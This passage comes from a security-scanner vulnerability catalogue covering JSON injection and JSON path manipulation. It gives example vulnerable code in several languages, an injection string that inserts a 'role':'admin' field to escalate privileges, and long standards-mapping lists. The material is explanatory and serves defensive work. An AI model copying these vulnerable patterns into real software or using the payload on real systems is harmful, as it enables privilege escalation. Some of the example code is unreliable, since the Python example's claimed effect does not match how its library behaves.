[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.json_injection
Abstract
The method writes unvalidated input into JSON. This call might allow an attacker to inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following Objective-C code serializes user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") to JSON from user-controllable fields _usernameField and _passwordField:


...

NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];


Yet, because the JSON serialization is performed using NSString.stringWithFormat:, the untrusted data in _usernameField and _passwordField will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it into the _usernameField field, the resulting JSON would be:


{
  "username":"mallory",
  "role":"admin",
  "password":"Evil123!",
  "role":"default"
}


If this serialized JSON string were then deserialized to an NSDictionary object with NSJSONSerialization.JSONObjectWithData: as so:


NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];


The resulting values for username, password, and role in the NSDictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.objc.json_injection
Abstract
The method writes unvalidated input into JSON. This call might allow an attacker to inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following python code update a json file with an untrusted value comes from a URL:


import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]

with open('data.json', 'r') as json_File:    
    data = json.load(json_File)

    data['name']= untrusted_values
    
with open('data.json', 'w') as json_File:
    json.dump(data, json_File)

...


Here the untrusted data in name will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory were to append ","role":"admin to the name parameter in the URL, the JSON would become:


{
"role":"user",
"username":"mallory",
"role":"admin"
}

The JSON file is now tampered with malicious data and the user has a privileged access of "admin" instead of "user"
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.json_injection
Abstract
The method writes unvalidated input into JSON. This call might allow an attacker to inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.scala.json_injection
Abstract
The method writes unvalidated input into JSON. This call might allow an attacker to inject arbitrary elements or attributes into the JSON entity.
Explanation
JSON injection occurs when:

1. Data enters a program from an untrusted source.


2. The data is written to a JSON stream.

Applications typically use JSON to store data or send messages. When used to store data, JSON is often treated like cached data and may potentially contain sensitive information. When used to send messages, JSON is often used in conjunction with a RESTful service and can be used to transmit sensitive information such as authentication credentials.

The semantics of JSON documents and messages can be altered if an application constructs JSON from unvalidated input. In a relatively benign case, an attacker may be able to insert extraneous elements that cause an application to throw an exception while parsing a JSON document or request. In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Example 1: The following Swift code serializes user account authentication information for non-privileged users (those with a role of "default" as opposed to privileged users with a role of "admin") to JSON from user-controllable fields usernameField and passwordField:


...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"


Yet, because the JSON serialization is performed using string interpolation, the untrusted data in usernameField and passwordField will not be validated to escape JSON-related special characters. This allows a user to arbitrarily insert JSON keys, possibly changing the structure of the serialized JSON. In this example, if the non-privileged user mallory with password Evil123! were to append ","role":"admin to her username when entering it into the usernameField field, the resulting JSON would be:


{
  "username":"mallory",
  "role":"admin",
  "password":"Evil123!",
  "role":"default"
}


If this serialized JSON string were then deserialized to an NSDictionary object with NSJSONSerialization.JSONObjectWithData: as so:


var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary


The resulting values for username, password, and role in the NSDictionary object would be mallory, Evil123!, and admin respectively. Without further verification that the deserialized JSON values are valid, the application will incorrectly assign user mallory "admin" privileges.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.swift.json_injection

JSON Path Manipulation

Abstract
The application performs a JSON query with untrusted data that might enable attackers to query unexpected parts of the JSON document.
Explanation
There are a number of technologies that provide the capacity to maneuver through JSON documents using a tree-like access syntax. Using this type of document traversal, an adversary can query parts of a JSON document to which they should not have access.

Example 1: The following code uses a user-defined keyword to access a JSON document that contains public user details, such as name and address, but the JSON document also contains private details such as their password.


    $userInput = getUserIn();
    $document = getJSONDoc();
    $part = simdjson_key_value($document, $userInput);
    echo json_decode($part);


Because userInput is user-controllable, a malicious user can leverage this to access any sensitive data in the JSON document.
References
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[2] Standards Mapping - FIPS200 SI
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[10] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A1 Injection
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
